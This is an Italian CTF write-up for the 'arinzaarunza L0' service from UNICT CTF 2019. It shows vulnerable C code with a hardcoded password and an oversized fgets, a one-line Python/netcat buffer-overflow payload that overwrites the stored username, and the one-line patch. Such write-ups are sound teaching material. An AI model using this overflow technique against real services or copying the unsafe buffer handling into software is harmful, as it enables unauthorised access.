

# ARINZAARUNZA L0 CTF 2019

-Jelly Hinge Team-

## 1 Introduzione

Uno dei servizi della CTF dell'UNICT 2019 è arinzaarunza L0, il quale è sensibile ad un attacco di tipo Buffer Over Flow.

## 2 Il servizio

Il servizio, reperibile nella pagina Github<sup>1</sup> dell'evento, fornisce all'utente un'interfaccia che dà la possibilità di stampare, salvare e cancellare delle stringhe. Tuttavia, vi sono alcune funzionalità riservate all'amministratore.

### 2.1 L'offuscamento

Il codice del servizio è ricco di funzioni dalla dubbia utilità, il cui compito è soltanto quello di confondere le acque. In più il menù del servizio non mostra una delle funzionalità.

### 2.2 La funzionalità nascosta e l'indizio

La funzionalità nascosta è accessibile inserendo "6" nel menù. La funzione che la gestisce ha però un commento particolare.

```
void print_Hawktodos(char *u) { } // SO WHAT???
```

Il commento "SO WHAT??" è un chiaro riferimento ad uno dei tormentoni del corso. La funzione non fa altro che estendere i permessi dell'utente qualora venga messo il giusto username e la giusta password.

### 2.3 Le vulnerabilità

Il controllo fatto dalla funzione mostra in chiaro l'username e la password. In più, durante la scansione della password digitata dall'utente, vengono letti dallo standard input più byte di quanti non ne siano allocati per salvare la password in memoria.

```
void print_Hawk_todos(char *u) { //SO WHAT???  
char user[64];  
strcpy(user, u);  
printf("Username: %s\n", user);  
char password[64];
```

---

<sup>1</sup><https://github.com/unictf/unictf-2019/tree/master/services>

```

puts("Hi Hawk, insert your root password");
puts(">> ");
fgets(password, 128, stdin);
size_t read_cnt = strlen(password);
if (read_cnt && password[read_cnt-1] == '\n') {
    password[read_cnt-1] = 0;
}
if (strcmp("Hi8342DHD34gjsW", password) != 0)
{
    puts("Wrong Password");
    return;
}
else if (strcmp("Hawk", user) != 0)
{
    puts("Hey man, you're not Hawk!!! INTRUDEEEER!!!");
    return;
}
hawk_todos();
}

```

### 3 L'exploit

Il servizio vieta di inserire “Hawk” come nome utente<sup>2</sup>, pertanto per poter effettuare l’exploit sul servizio, è necessario approfittare della scansione sulla password per poter sovrascrivere l’indirizzo di memoria su cui viene salvato il nome utente. Scrivendo sul terminale uno script in python, per poter effettuare BOF, e lanciando netcat per collegarsi al servizio si ottiene la FLAG.

```

(python -c "print 'user'; print '6'; print 'Hi8342DHD34gjsW\x00'+ 'a'*48+'Hawk\x00'") | nc <IP_ADDRESS> <PORT>

```

### 4 La patch

La patch per poter risolvere il problema è banale, bisogna cambiare il secondo parametro della "fgets", impostandolo a 64 invece che a 128.

---

<sup>2</sup>(Il servizio avrebbe dovuto impedire di inserire “Hawk” come utente, tuttavia, a seguito di una svista, durante la CTF era possibile accedere come “Hawk”, quindi, inserendo la giusta password, si ottenevano punti in attacco.)